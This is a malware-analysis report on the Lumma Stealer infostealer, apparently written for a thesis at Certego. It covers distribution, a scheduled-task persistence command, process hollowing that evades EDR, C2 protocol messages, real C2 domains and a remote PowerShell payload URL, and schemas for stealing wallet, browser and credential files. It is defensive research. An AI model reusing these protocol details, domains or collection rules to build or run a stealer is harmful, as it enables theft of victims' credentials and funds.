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Summary




Introduction

This analysis served as a practical testbed at Certego to evaluate a well-established
technique: emulating the network behavior of malware in order to impersonate an infected
machine from the perspective of the C2 infrastructure. Within the scope of my thesis project,
TheTrackerShow, the knowledge acquired through the analysis of Lumma Stealer’s
communication protocol proved essential for the design and development of an automated
framework. This system is capable of continuously interacting with malicious servers,
monitoring ongoing campaigns, and generating statistical visualizations to support threat
intelligence activities.




Lumma Stealer overview

In recent years, the evolution of Malware-as-a-Service (MaaS) has made cybercrime
increasingly accessible, which contributed to the spread of infostealers like Lumma Stealer
(or Lumma C2). Introduced in 2022, Lumma has quickly gained popularity in underground
forums due to its ease of use and continuous updates by its developers, with prices ranging
from $250 to $20,000.

Global Threat
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Lumma Stealer has rapidly emerged as a widespread cyber threat, active across continents
and industry sectors. Its modular architecture, availability as a Malware-as-a-Service (MaaS),
and sophisticated evasion techniques have contributed to its global proliferation, making it
one of the most active info-stealers in recent years.

Several sources document its geographical impact. According to Netskope, large-scale
campaigns have been observed in Argentina, Colombia, the United States, and the
Philippines, with a particular focus on the telecommunications sector. Similarly, ESET
telemetry recorded a sharp increase in detections across Peru, Poland, Spain, Mexico, and
Slovakia, showing a strong presence in Latin America and Eastern Europe.

Microsoft published a global heatmap highlighting significant infection rates across North
America, Western Europe, and parts of Asia, confirming Lumma’s global footprint.

On a national level, CERT-AgID confirmed that Lumma Stealer was actively distributed in
Italy throughout 2024. The campaigns primarily relied on phishing emails containing
malicious attachments or compressed archives, highlighting the malware's adaptability to the
Italian threat landscape as well.

Record growth

As reported in ESET's second half of 2024 report, Lumma Stealer recorded a 369%
distribution increase compared to the previous half-year, reaching almost 50'000 detections
in 2024, which made it one of the ten most detected infostealers by ESET products.

Furthermore in the Any.run annual 2024 report we see how Lumma Stealer leads the way
with 12'655 detections, a newcomer compared to 2023, highlighting its rapid rise in the cyber
threat landscape.

Campaigns

Lumma Stealer campaigns are characterized by deceptive and constantly evolving
distribution tactics designed to steal sensitive user data. The main distribution methods
include:

Fake CAPTCHA Pages: Users are redirected to fake CAPTCHA pages that execute
PowerShell commands under the guise of human verification, resulting in malware
download. These pages often appear on compromised websites or via malvertising
Phishing Emails: Traditional phishing tactics that lure users into opening malicious
attachments or clicking links to malware-hosting sites
Spear Phishing via GitHub: Attackers impersonate GitHub’s security team, sending
fake alerts or posting bogus fixes in repository comments. The links point to ZIP files
containing the malware

https://www.netskope.com/blog/lumma-stealer-fake-captchas-new-techniques-to-evade-detection
https://www.eset.com/blog/en/business-topics/threat-landscape/lumma-stealer-a-fast-growing-infostealer-threat/
https://www.microsoft.com/en-us/security/blog/2025/05/21/lumma-stealer-breaking-down-the-delivery-techniques-and-capabilities-of-a-prolific-infostealer
https://cert-agid.gov.it/news/report-riepilogativo-sulle-tendenze-delle-campagne-malevole-analizzate-dal-cert-agid-nel-2024/
https://web-assets.esetstatic.com/wls/en/papers/threat-reports/eset-threat-report-h22024.pdf
https://any.run/cybersecurity-blog/malware-trends-2024/
https://securelist.com/lumma-fake-captcha-attacks-analysis/116274/
https://www.eset.com/blog/en/business-topics/threat-landscape/lumma-stealer-a-fast-growing-infostealer-threat/
https://www.picussecurity.com/resource/blog/lumma-infostealer-continues-its-github-social-engineering-campaign
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Cracked Software: Lumma has been distributed through pirated software, targeting
users looking for unauthorized or free applications

Persistence

As reported by picussecurity, uses of persistence mechanisms have been highlighted,
especially when implemented together with other malware such as loaders or RATs.
Although Lumma Stealer itself often follows a grab-and-go model (executing quickly and
exfiltrating data in one shot), more advanced operations aim to maintain long-term access to
infected systems.

Two main persistence techniques have been observed:

Startup Folder Abuse: the malware creates an .url shortcut file in the Windows
Startup folder. These point to JavaScript files (e.g., HealthPulse.js) that are executed
automatically via mshta.exe when the user logs in.
Scheduled Tasks: the malware sets scheduled tasks. One example is a task named
"Lodging", configured to run a JavaScript script (e.g., Quantifyr.js) every five minutes
using wscript.exe:

 schtasks /create /tn "Lodging" /tr "wscript.exe Quantifyr.js" /sc minute /mo 5

Lumma Stealer often runs once without persistence, but when bundled with RATs or loaders,
attackers can maintain access and redeploy it as needed. In general defenders should
scrutinize unusual startup entries or scheduled tasks, which may signal an ongoing infection.

Defense evasion

As reported by bitsight, Lumma Stealer operators leveraged Cloudflare services to mask the
source IP addresses of their C2 servers. This type of obfuscation makes it difficult for
defenders to track and block malicious infrastructure.

The use of cloudflare offers several tactical advantages for threat actors, here are a few:

DDoS protection: the C2 backend is “shielded” behind the Cloudflare infrastructure, so
any overload attempts by researchers or automated countermeasures are mitigated by
Cloudflare’s reverse proxy.
Real IP obfuscation: the real IP addresses of the C2 servers are not visible to
researchers, they only have access to the IPs of Cloudflare nodes (e.g. 104.x.x.x,
172.x.x.x).
Automatic blocking of suspicious traffic: Cloudflare can block or filter requests from
TOR, VPN, or known malicious IPs. In these cases, interactive challenges are
requested (e.g. CAPTCHA or Turnstile) that hinder automated crawling and reverse
engineering tools.

https://www.fortinet.com/blog/threat-research/lumma-variant-on-youtube
https://www.picussecurity.com/resource/blog/lumma-infostealer-continues-its-github-social-engineering-campaign
https://www.bitsight.com/blog/lumma-stealer-is-out-of-business
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From a threat actor’s point of view, this means being able to filter automatic analyses
performed by sandboxes and crawlers through proxies and, above all, being able to improve
the survivability of their servers by limiting access to only “legitimate victims”, i.e. those who
have actually contracted the malware.

Telegram as marketplace for stolen logs

Telegram is widely used by Lumma Stealer operators to sell stolen credentials through
dedicated channels and bots. As highlighted by SOCRadar, these platforms offer searchable
access to logs, subscription tiers, and automated delivery of fresh data. This transforms
Telegram into a ready-made black market for infostealer output, streamlining the
monetization of compromised accounts.




First stage analysis

The initial technical analysis focused on a sample of Lumma Stealer retrieved from the
MalwareBazaar platform.

Static analysis

As shown in the following image, the import table includes several suspicious functions, of
which related to reconnaissance. However, their limited presence suggests that much of the
functionality may be hidden. This is supported by the presence of a high-entropy section
named .open, which strongly indicates the use of packing or obfuscation techniques. High
entropy is commonly associated with compressed or encrypted code, often employed to
hinder static analysis and conceal malicious behavior.

As visible in the next image, the .open section appears unusually uniform and exhibits very
high entropy, a clear indication of obfuscation or compression. Even the .text section
shows signs of being affected by packing techniques. The visual structure suggests that a
large portion (about 92%) of the binary is packed, making static analysis and advanced static
analysis inefficient at this stage. In such cases, dynamic analysis or unpacking is generally
required to expose the underlying malicious behavior.

static analysis - Detect It Easy
The .open section lacks any meaningful code references, apart from a pointer in the PE
header. Again this behavior is typical of packed binaries, where custom sections are mapped
but only accessed during runtime unpacking.

advanced static analysis - Ghidra 1

https://socradar.io/top-stealer-log-telegram-channels
https://bazaar.abuse.ch/sample/007310a11e7dfdb4fa9dd2e216f92cda9a1954c7be76a33aaf8028206a0c0258/
https://certego.github.io/website/static/a35319fcee92fa04b149276dcb35fffc/394f7/static%20analysis%20-%20Detect%20It%20Easy.png
https://certego.github.io/website/static/a78b367597a3c377c18df918b676cc48/fdaf8/advanced%20static%20analysis%20-%20Ghidra%201.png
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Another notable section is .00cfg, whose uncommon name and contents raise suspicion. It
includes a reference to the _guard_check_icall() function (it is associated with the
/guard:cf compiler flag, for further information refer to Microsoft Docs), which is linked to
control flow integrity mechanisms that insert runtime checks on indirect calls. This would
explain the unusually high number of cross-references observed in the disassembled code
and reinforces the presence of protective or evasive techniques within the binary.

advanced static analysis - Ghidra 2

Dynamic analysis and process "un-hollowing"

Since static analysis proves ineffective due to the presence of obfuscation techniques, we
shift our focus to dynamic analysis. This approach allows us to bypass the obfuscation layer
and reach the core functionality hidden within the malware.

One of the quickest and most efficient ways to gather behavioral insights with minimal
manual effort is by using a sandbox environment. At Certego, we maintain a private instance
of CAPE Sandbox. For this analysis, has proven to be an especially effective tool.

Although the sandbox is internal and not accessible to the public, we can still share
screenshots of the results to illustrate the malware's behavior.

The image illustrates a classic case of process hollowing, a technique widely used by
modern malware to stealthily execute arbitrary code under the guise of a legitimate process.
In the scenario depicted, the initial process corresponds to the malware itself which, at this
early stage, has not yet exhibited any malicious behavior and therefore appears legitimate.
The malware then creates a new instance of itself (a clone of the original executable
process) launched explicitly in a suspended state. It is on this newly created process that the
hollowing technique is applied: the original contents are overwritten with a malicious payload,
which is later executed under the identity of what appears to be an unmodified and benign
executable.

The sequence begins with the creation of the suspended process using the high-level API
CreateProcessW, which internally invokes the lower-level native API NtCreateUserProcess.
The use of the CREATE_SUSPENDED flag (hex value 0x00000004) ensures that the
primary thread of the process is created but not immediately executed. This provides a
temporal window in which the attacker can modify the process's memory before any code is
run. It is important to note that the order of the first three calls appears reversed due to how
CAPE Sandbox logs API calls based on completion order rather than invocation order.
Specifically, between NtCreateUserProcess and CreateProcessW, the sysenter instruction
is observed. This instruction is used to transition directly from user mode to kernel mode and
is internally employed by functions such as NtCreateUserProcess to perform system calls,
enabling direct interaction with the Windows kernel.

https://learn.microsoft.com/en-us/cpp/build/reference/guard-enable-control-flow-guard?view=msvc-170
https://certego.github.io/website/static/0df4fab24ab6199b7bb141248bf5e0ee/aec65/advanced%20static%20analysis%20-%20Ghidra%202.png
https://learn.microsoft.com/en-us/windows/win32/procthread/process-creation-flags
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After the process has been created, the following operations are carried out:

NtAllocateVirtualMemory is used to reserve memory space within the remote
process (in this case at base address 0x00400000, with a size of 0x00059000 bytes).
Notably, the protection flags include PAGE_EXECUTE_READWRITE, which allows both
writing and execution within the same region (a highly suspicious condition in legitimate
software contexts).
WriteProcessMemory writes a malicious payload in Portable Executable (PE) format
into the allocated memory. The data observed in the image clearly resembles a PE
binary, beginning with the MZ magic number (0x4D5A), and appears to be injected in
multiple non-contiguous segments.
NtGetContextThread and NtSetContextThread are then used to modify the execution
context of the suspended thread, specifically updating the value of the EIP (or RIP in
64-bit architectures) register, which represents the instruction pointer. This attribute of
the CONTEXT struct is set to the entry point of the injected payload (0x0040ced0), so that
execution resumes directly from the injected code rather than the original program
logic.
NtResumeThread resumes the execution of the thread, effectively launching the
malicious code under the identity of what appears to be a legitimate process.

The following image helps clarify why the child process is not explicitly unmapped during the
hollowing procedure.

In this case, the malware performs process hollowing without invoking
NtUnmapViewOfSection (the user-mode accessible syscall) or ZwUnmapViewOfSection

(kernel-mode counterpart). The parent process, compiled with ASLR, is loaded at
0x007c0000, leaving the typical base address 0x00400000 unused in the child. This allows a
direct NtAllocateVirtualMemory call at 0x00400000, avoiding the need to unmap any
section. If that address had been occupied, the allocation would have failed.

This technique cleverly bypasses EDRs that rely on detecting NtUnmapViewOfSection as a
signature for hollowing. Later, a small memory region is mapped via NtMapViewOfSection at
0x03460000 and quickly unmapped with NtUnmapViewOfSectionEx (a variant that allows
more granular unmapping by accepting a thread handle), possibly as a decoy. An analyst
might dismiss this late unmap as harmless, missing the earlier stealthy injection.
Nonetheless, further investigation would reveal the full evasion strategy.

Following the sandbox analysis and identification of a process hollowing-compatible
sequence, a script for x64dbg (as well as you can also find the console output) was
developed to automate the tracing and memory dump of the injected payload. The script is
designed to be executed once the breakpoint on the entry point of the analyzed process is
reached, where the executable is loaded into memory but not yet executed.

https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-context-r2
https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-context
https://federicofantini.github.io/TheTrackerShow/scripts/x64dbg/01-lummastealer_process_unhollowing/
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The script works on multiple levels. First, it defeats common anti-debugging
countermeasures, including the BeingDebugged flag in the Process Environment Block (PEB)
structure. Next, the script sets breakpoints on a set of strategic hollowing detection APIs:
CreateProcessW (create the suspended process), VirtualAlloc and VirtualAllocEx
(allocate memory in the remote process address space), WriteProcessMemory (write the
payload), and ResumeThread (resume the thread after injection).

Particular attention is paid to the WriteProcessMemory function. If a buffer containing the MZ
signature (indicator of the header of a PE file) is detected, the script assumes that it is the
malicious payload injected into the hollowed process. In this case, the handle of the process
in which the injection occurred is recorded. All subsequent writes to the same handle will be
recorded.

When ResumeThread is called, the script proceeds to hook the hollowed process through its
Process ID, which was previously saved, and suspends execution to allow the analyst to
manually dump the affected memory. I also tried to automate this step, but once the
debugger hooks into the child process, it is no longer possible to execute commands in
x64dbg except through the GUI console.

This approach allows to acquire the entire content of the injected payload before its
execution, facilitating static analysis of the code and extraction of indicators of compromise.

Injected memory analysis

When extracting a Portable Executable (PE) file from a process's memory, the resulting
dump often reflects the in-memory layout rather than the original structure on disk.

This discrepancy occurs because, in memory, slices are aligned according to page
boundaries (typically 0x1000 bytes), while on disk they follow file alignment (commonly 0x200
bytes). As a result, fields such as PointerToRawData and SizeOfRawData in slice headers
may not accurately match their original values.

static analysis - PE-Bear PE format error
To reconstruct a valid PE file suitable for static analysis, these fields must be realigned,
ensuring that the raw addresses and sizes match the virtual addresses and sizes observed
in memory. This process, described in detail in Rufus M. Brown's blog post, involves
modifying the PE headers to reflect the correct mappings, facilitating effective analysis of the
dumped executable.

As shown in the following image, I modified the address-related values within the “Section
Hdrs” tab.

https://github.com/x64dbg/x64dbg/issues/3476
https://certego.github.io/website/static/44fc4ea51a70aaf7493febe10c3cc02f/9b7bd/static%20analysis%20-%20PE-Bear%20PE%20format%20error.png
https://rufusmbrown.github.io/docs/posts/Aligning-Dumped-PE-File-from-Memory/
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Furthermore, by examining the “Optional Hdr” tab, we can observe that the DLL
Characteristics field contains the value 0x0040. This value corresponds to the
IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE flag, which indicates that the binary supports
Address Space Layout Randomization (ASLR). This security feature allows the operating
system to load the executable at a randomized base address, making memory-based attacks
more difficult by reducing predictability.

However, in the context of malware analysis and reverse engineering, ASLR complicates
debugging by randomizing the base addresses of executables and shared libraries at each
execution. To maintain consistent memory layouts and simplify the analysis process, it is
often necessary to disable ASLR during dynamic analysis sessions. This can be
accomplished by using the editbin utility with the /DYNAMICBASE:NO option:

editbin DYNAMICBASE:NO memdump_179C_00400000_59000.bin


Both ASLR deactivation and memory realignment steps were systematically applied as
preliminary operations to all analyzed samples, forming the basis for all subsequent steps of
the analysis.




Communication analysis (lumma v4)

To understand the behavior of malware, especially its communication logic, it is necessary to
analyze the structure and flow of its network activity. Detecting only outgoing connections is
not enough; it is essential to analyze more deeply the sequence of interactions and the
conditions that govern them.

This chapter analyzes two network captures obtained from CAPEv2 sandbox executions. In
both cases, the sandbox is configured to redirect all outbound traffic through a controlled
channel, ensuring a secure and isolated environment.

In the first scenario, all traffic is routed to INetSim, a tool that emulates common internet
services (HTTP, DNS, FTP, etc.) and returns fake but consistent responses. This setup
allows the malware to iterate through its list of embedded C2 domains, progressing only
when a response is deemed invalid. As a result, it becomes possible to systematically
enumerate all hardcoded endpoints and reconstruct the extent of the malicious infrastructure.

In the second scenario, the sandbox directs traffic through a secure proxy with real internet
access. This allows the malware to complete its communication stages and retrieve live
responses from its C2 server, while still preserving analyst anonymity and containment.

By comparing these two execution scenarios, it is possible to reconstruct the malware’s
communication protocol in detail.
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InetSim

During execution, the sample uses the WinHTTP API to initiate connections and transmit
data. The following functions are observed:

1. WinHttpOpen – initializes a session handle
2. WinHttpConnect – creates a connection to a target domain over port 443
3. WinHttpOpenRequest – prepares an HTTP POST request to the /api endpoint with

parameter act=life
4. WinHttpSendRequest – sends the HTTP request to the server
5. WinHttpReceiveResponse – receives the response from the server

The malware contacted the following domains in sequence:

pragapin.sbs

repostebhu.sbs

thinkyyokej.sbs

ducksringjk.sbs

explainvees.sbs

brownieyuz.sbs

rottieud.sbs

relalingj.sbs

tamedgeesy.sbs


Each domain is contacted via a POST /api request carrying act=life as its payload. Since
INetSim provides valid HTTP-level responses (e.g., HTTP/1.1 200 OK), the malware
proceeds through the full WinHTTP call chain. However, the application-layer content does
not match the expected format, so the sample marks the domain as inactive and moves on.

After exhausting the predefined C2 list, the malware issues a GET request to a Steam
profile:

steamcommunity.com/profiles/76561199724331900


This suggests a fallback mechanism: when no hardcoded C2 responds appropriately, the
malware attempts to retrieve additional information from a third-party platform. INetSim
makes it possible to capture this entire process safely and deterministically, exposing the
embedded infrastructure.

Proxy

As in the previous case, the malware employs the WinHTTP API to manage outbound
HTTPS requests.

https://learn.microsoft.com/en-us/windows/win32/api/winhttp/
https://learn.microsoft.com/en-us/windows/win32/api/winhttp/
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In this instance, the malware attempts to contact the same list of C2 domains as in the
previous execution, but does not receive valid responses. It then sends a GET request to the
Steam profile page and subsequently continues communication with a new domain:
marshal-zhukov.com. Important to note is that this address is not part of the original list and
is likely retrieved dynamically from the Steam page.

Below is a summary of the communication flow. (HTTP headers are only shown in the first
request to keep the text concise.)

Summary communication flow

act=life

Client

Method: POST /api
Headers:

Connection: Keep-Alive

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)


Body: act=life

Server

Headers:

Content-Type: text/html; charset=UTF-8

Transfer-Encoding: chunked

Connection: keep-alive

Set-Cookie: PHPSESSID=mdd1ko4qf5gsb9idied577rfbn; Max-Age=9999999; path=/


Body: ok

act=recive_message

Client

act=recive_message&ver=4.0&lid=BVnUqo--@StayAway777&j=


Server
A very long base64-encoded string, likely containing encrypted content.

act=send_message (there are multiple requests)

Client
Multipart form data including the following fields:
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hwid  -> T4U67W9CV4H5D63KM6SXSEX5UPD59TSK

pid   -> 2

lid   -> BVnUqo--@StayAway777

act   -> send_message

file  -> (ZIP archive, starts with PK magic number)


Server

ok [an IP address]


act=get_message

Client

act=get_message&ver=4.0&lid=BVnUqo--
@StayAway777&j=&hwid=T4U67W9CV4H5D63KM6SXSEX5UPD59TSK


Server
Another short base64-like string.

Analysis of communication phases

The presence of the act= parameter allows us to clearly distinguish four distinct phases
within the communication protocol:

1. act=life: likely a simple reachability check, as suggested by the minimal response
(ok).

2. act=recive_message: possibly a registration step. The server responds with a long
base64 string, which could contain configuration or commands information.

3. act=send_message: the malware sends exfiltrated data. The presence of a ZIP file
header (PK) indicates structured, possibly compressed, data theft.

4. act=get_message: the malware may receive additional commands. The format is
similar to stage 2 but shorter.

In addition, the presence of the ver=4.0 argument may suggest that the malware
communicates its current version to the server for identification purposes. For the time being,
we refer to this version as version 4.

At this point, the structure of the protocol is partially understood. However, the actual content
of the base64 responses remains unreadable after decoding. This suggests that the data
may be encrypted after base64 encoding or that a custom base64 alphabet is used.

To confirm this, it is necessary to reverse engineer the malware and analyze the runtime
behavior of the relevant decoding and decryption routines.

Prerequisites for Advanced Analysis
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To support the analysis workflow, a local HTTPS server was configured to emulate the
malware’s C2 communication. This is especially useful in advanced stages, where original
C2 servers are often offline. Lumma Stealer domains tend to be short-lived, making
repeatable analysis unreliable without such setup.

The first contacted domain, according to captured traffic, is pragapin.sbs. To maintain
continuity, the server was configured to respond under this domain, replaying payloads
previously received from marshal-zhukov.com.

The environment was set up using the following steps:

1. Generate the HTTPS certificate:

& 'C:\Program Files\OpenSSL-Win64\bin\openssl.exe' req -x509 -nodes -days 365 -
newkey rsa:2048 -keyout pragapin.sbs-key.pem -out pragapin.sbs-cert.pem


2. Install and trust the certificate on Windows:

Open Microsoft Management Console (mmc.exe)
Add the "Certificates" snap-in for both Current User and Local Computer
Navigate to:
Trusted Root Certification Authorities > Certificates
Right-click > All Tasks > Import
Import the previously generated pragapin.sbs-cert.pem file

3. Redirect the C2 domain locally:
Add the following entry to the system's hosts file
C:\Windows\System32\drivers\etc\hosts:

127.0.0.1 pragapin.sbs


To verify that the custom HTTPS server correctly handles malware communication, the
analysis was complemented with a debugger script for x64dbg. This script automates the
placement of breakpoints on key WinHTTP functions involved in network communication,
such as WinHttpOpen, WinHttpConnect, WinHttpOpenRequest, WinHttpSendRequest, and
WinHttpReceiveResponse.

Since winhttp.dll is loaded dynamically, breakpoints cannot be placed at the start of
execution. Guided by the CAPEv2 trace, which confirmed the use of the WinHTTP API, the
script monitors calls to LoadLibraryExW and sets breakpoints only after detecting the load of
winhttp.dll.

This setup provides a clean and reproducible environment to monitor API-level interactions
and verify that the malware follows the expected communication flow with the emulated C2.




Second stage analysis

https://federicofantini.github.io/TheTrackerShow/scripts/fakenet/01-lummastealer_v4_fakenet/
https://federicofantini.github.io/TheTrackerShow/scripts/x64dbg/02-lummastealer_interactions/
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Identifying the decryption routine

I begin analyzing the second stage by opening the memory-dumped binary obtained from the
first phase directly in Ghidra. The image I create summarizes the logical path I follow during
this investigation. Since the malware is deeply obfuscated and requires several debugger
sessions, the flow is not strictly linear. Rather, it combines the most relevant insights
collected across multiple executions.

On the left side of the disassembly, I identify the binary’s entry point. The code is heavily
obfuscated, so I choose to ignore most of the surrounding instructions and focus on
segments that can be linked to the malware's communication behavior. In the previous
section, I have already identified four main stages in the communication process, so my goal
is to find a function that includes all of them. This helps me drastically narrow down the
analysis scope.

I first examine the function at address 0x40e0b0. It only performs the initial reachability check
to determine whether the C2 server is active. Since it does not handle any of the remaining
communication stages, I move on.

By following the control flow beyond the function at 0x40f920, I notice that no additional
network-related calls are made. This observation leads me to the key target of the second
stage analysis: the function located at 0x410aa0, which appears to handle all the remaining
three stages of the communication protocol.

As soon as this function starts, it invokes another subroutine at address 0x436130, which
performs a series of preparatory operations:

initializes internal components
issues a WQL query with SELECT * FROM Win32_BIOS to enumerate BIOS information
retrieves the system’s serial number
calls GetVolumeInformationW
performs a series of chained calls that finally generate the value used in the
communication as hwid, a 32-byte hardware identifier

Following this, another value is accessed from the .rodata section. This is the lid, and
unlike other hwid identifier, it is not generated dynamically. It is directly read from a read-only
memory, indicating that it is hardcoded. Given that Lumma Stealer follows a Malware-as-a-
Service (MaaS) distribution model, it is reasonable to assume that the lid parameter serves
as a unique identifier for the customer or affiliate who acquired the stealer. In MaaS
ecosystems, such identifiers are typically used to associate infections and activity logs with
specific clients, enabling usage tracking, build differentiation, or revenue attribution.
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Still within the .rodata section, I find additional unusual strings. One of these is passed
directly to the function at address 0x436dc0, suggesting that this call is responsible for some
form of transformation or possibly cryptographic processing. This part of the code, renamed
lumma_decryption(), becomes the focus of the next phase of the investigation.

Understanding the Decryption Logic

I created the following image to summarize the logical path and provide a detailed view of
the decryption routine lumma_decryption().

This function accepts an encrypted buffer as input and writes the output to a second buffer
passed as an argument. As shown on the left side of the image, the function begins by
calculating the length of the encrypted input and then estimates the length of the decoded
output.

Immediately afterward, the function invokes a decoding subroutine. Given the structure of the
ciphertext, I initially suspected that it performed Base64 decoding. To validate this hypothesis
and rule out the use of custom alphabets, I extracted the relevant pseudocode as presented
by Ghidra, applied some manual adjustments, and reimplemented it in Python. The complete
script is available here.

I then performed a one-to-one comparison between this Python implementation and the
output of Python’s standard Base64 decoding function. The results are identical for all
hardcoded strings extracted from the binary. This confirms that the decoding routine is just
Base64.

Returning to the main decryption function, the next operation copies the first 32 bytes of the
decoded buffer into a dedicated memory region, which serves as the decryption key.
Following this, the len variable is reduced by 32, and data_pointer is updated to point
precisely to the beginning of the payload + 32 bytes.

The bottom part of the function, highlighted in red in the image, contains the loop that
performs the actual decryption. As before, I converted this logic into a standalone Python
script for clarity. The complete script is available here.

To ensure the correctness of the analysis, I systematically compared the translated logic
against a standard implementation of a block-wise XOR operation using a 32-byte key. In
order to eliminate potential edge cases, I developed two nested loops designed to
exhaustively iterate over all possible input combinations and verify that the outputs remained
consistent across both implementations. The results of this comparison confirm the
functional equivalence of the two routines.

https://federicofantini.github.io/TheTrackerShow/scripts/python/01-lummastealer_v4_base64_decode_proof/
https://federicofantini.github.io/TheTrackerShow/scripts/python/02-lummastealer_v4_xor_decryption_proof/
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This method echoes the principle of duck typing: if it acts like an XOR cipher, outputs like an
XOR cipher, and structurally matches an XOR cipher, then we can reasonably conclude it is
one.

Finally, the output strings produced by this decryption process are indeed the C2 domains
used by the malware.

Reusing the C2 Decryption Logic in Communication Decryption

By simulating the HTTPS server response from pragapin.sbs, as detailed in the section
"Prerequisites for Advanced Analysis", I am able to observe how the malware processes and
decrypts the data received in response to the recive_message and get_message commands.

As shown in the first figure below, after the WinHttpReceiveResponse and WinHttpReadData
calls, the downloaded content is stored in a buffer. This buffer is then passed as the first
argument to the same decryption function, lumma_decryption(), which was previously
identified and analyzed in the static phase of the research.

This provides strong evidence that the decryption routine used to extract hardcoded C2
domains is repurposed during runtime to decode encrypted payloads received from the C2
infrastructure.

In the second figure, I confirm that the decrypted buffer produces a valid and well-structured
JSON response, suggesting that this routine is consistently applied to multiple encryption
layers within Lumma Stealer's architecture.

To further demonstrate the correctness of the decryption logic, I reimplement and generalize
the routine in Python. At the following link, both the function and the resulting outputs are
provided.

Analysis of Decrypted C2 Responses

The decrypted payload returned by the recive_message command reveals a rich JSON
structure containing detailed instructions for data collection, as well as a full list of browser
extensions and targets of interest. The structure is divided into three main sections: ex, mx,
and c.

https://federicofantini.github.io/TheTrackerShow/scripts/python/03-lummastealer_v4_communication_decryption_proof/
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ex (Extension List):
 This array lists numerous browser extensions, mostly
cryptocurrency wallets (e.g., MetaMask, Ronin Wallet, Trust Wallet, Coinbase, OKX),
password managers (e.g., LastPass, Bitwarden, 1Password), and authentication tools
(e.g., Authy, EOS Authenticator, GAuth). Each entry includes a unique identifier (en,
likely the Chrome extension ID) and a human-readable name (ez).
The presence of
multiple entries for the same wallet (e.g., MetaMask appears twice with different IDs)
suggests that the stealer is designed to recognize variants or clones of popular
extensions.

mx (Meta Instructions):
This field appears to provide specific targeting instructions for
selected extensions. For example, the entry for MetaMask includes an et parameter
with password derivation settings (iterations = 600000), which could be used for brute-
force attacks or validating password-protected vaults offline. This section can be
customized for high-value targets that require special handling.

c (Collection Rules):
 This is the most operational part of the structure. Each object
specifies:

target path (p) – often %appdata% or %localappdata% directory
match pattern (m) to filter specific files (e.g., keystore, *.sqlite)
exfiltration folder (z) on the attacker's side (e.g., Wallets/Ethereum)
collection depth or method (d)
maximum file size (fs in bytes, typically 20 MB)

These rules clearly indicate the intent to exfiltrate cryptocurrency wallet files, browser
session data, and configuration files from FTP/VPN/email clients. Special attention is also
paid to password managers and generic user profiles, where sensitive credentials or seed
phrases may be stored.

The response to the get_message command is significantly simpler, consisting of a URL
pointing to a PE executable (conhost.exe) hosted on a remote server. This implies that the
bot can receive follow-up stages via this channel, possibly to update itself, distribute a
payload, or activate specific modules.

Enrichment of the analysis

To better understand the structure of the decrypted C2 responses used by Lumma Stealer, I
analyzed and decrypted the network traffic of dozens of real-world samples. I observed that
the response returned by the C2 server to the recive_message command remained
consistent across all cases, while the get_message response varied dynamically depending
on the execution context.
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During this process, the blog post published by SpyCloud was particularly helpful. It initially
confirmed several of my assumptions and later provided additional technical insights that
helped refine and complete the interpretation of each field.

The insights gained through this combined approach allowed me to formally define the
following generalized schema:

recive_message

https://spycloud.com/blog/reversing-lummac2/
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{

 "v": 4,

 "se": true,   // take a screenshot

 "ad": false,  // delete self

 "vm": false,  // language check


 // it's not checked if the browser is present and the extensions are sought for all 
browsers

 "ex": [       // browsers extension target

   {

     "en": "...",  // extension address

     "ez": "...",  // extension name

     "ldb": true,  // optional: levelDB -> used in Coinbase

     "ses": true   // optional: session -> used for OTP authenticators

   }

 ],

 "mx": [

   {

     "en": "webextension@metamask.io",           // extension address (Firefox)
     "ez": "MetaMask",                            // extension name

     "et": "\"params\":{\"iterations\":600000}"   // something related to 

encryption?

   }

 ],

 "c": [

   {

     "t": 0,        // Steal_Clients

     "p": "...",    // path to steal from

     "m": ["..."],  // file extensions to steal

     "z": "...",    // output dir to store stolen data

     "d": 1,        // recursion depth level

     "fs": ...      // maximum file size

   },

   {

     "t": 1,        // Steal_Chromium_data (Chromium-based)

     "p": "...",    // path to steal from

     "z": "...",    // output dir to store stolen data

     "f": "...",    // browser name

     "n": "...",    // browser executable (for injection?)

     "l": "..."     // browser DLL (for injection?)

   },

   {

     "t": 2,        // Steal_Mozilla_data (Mozilla-based)

     "p": "...",    // path to steal from

     "z": "..."     // output dir to store stolen data

   },

   {

     "t": 4,        // Steal_Registry_data

     "p": "...",    // registry key path

     "v": "...",    // value name

     "z": "..."     // output file to store stolen data

   }
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 ]

}


get_message

[

   {

       "ft": ..., // 0 = exe = executed with CreateProcessW

                  // 1 = dll = loaded

                  // 2 = ps1 = exected with powershell -exec bypass ”%s”

       "e": ...,  // 0 = execution behavior = LoadLibraryW

                  // 1 = execution behavior = rundll32.exe

       "d": ...,  // base64 payload data

       "u": ...,  // url where the next step is stored

   }

]


Dropped file decryption

As a concrete example, I refer to the analysis available at Any.Run, from which I extracted
the decrypted content of the get_message response. The response, structured as a JSON
array, includes a PowerShell script reference hosted remotely as well as an embedded
payload still encoded in Base64 format:

[

   {

       "u": "https://arting.ee/cgi-bin/netsup_clean.ps1",

       "ft": 2,

       "e": 0

   },

   {

       "ft": 1,

       "e": 1,

       "d": "base64 string ..."

   }

]


Without further reversing the code responsible for decrypting these payloads, I reused the
previously lumma_decryption() routine. The decrypted output of the Base64 string
immediately revealed a valid PE file, which is indicated by the presence of the standard MZ
and PE headers:

MZ\x00\x01\x00...This program cannot be run in DOS mode...PE\x00\x00...


When saved as dropped.dll and examined with the file utility, the output confirmed its
nature:

dropped.dll: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows


https://app.any.run/tasks/8a7e2474-f9db-4d4d-9fe4-e8adda2530b9
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At the time of analysis, the hashes of the dropped DLL were not associated with any known
samples in public threat intelligence databases:

SHA256: d795aeec6dedacf10f82dd31d69ea...
MD5: 250098f7c58e2290a2056e00d0c5127b

This finding further confirms that Lumma Stealer can deliver new stages through encrypted
get_message responses.

Data Exfiltration

Through experimental analysis, it was observed that Lumma Stealer transmits the exfiltrated
data in the form of ZIP archives (identified by the magic number PK) using multiple
send_message requests. Each request differs by a single parameter: pid, which appears to
categorize the exfiltration phase or the type of data sent. This pid field effectively serves as a
tag or classification label that helps organize the stolen information into logical groups.

Still using the HTTPS server discussed in the previous sections, the following ZIP files were
recovered, each corresponding to different pid values:

1. Chrome data — pid=2

inflating: Chrome/dp.txt

inflating: Chrome/Default/History

inflating: Chrome/Default/Login Data

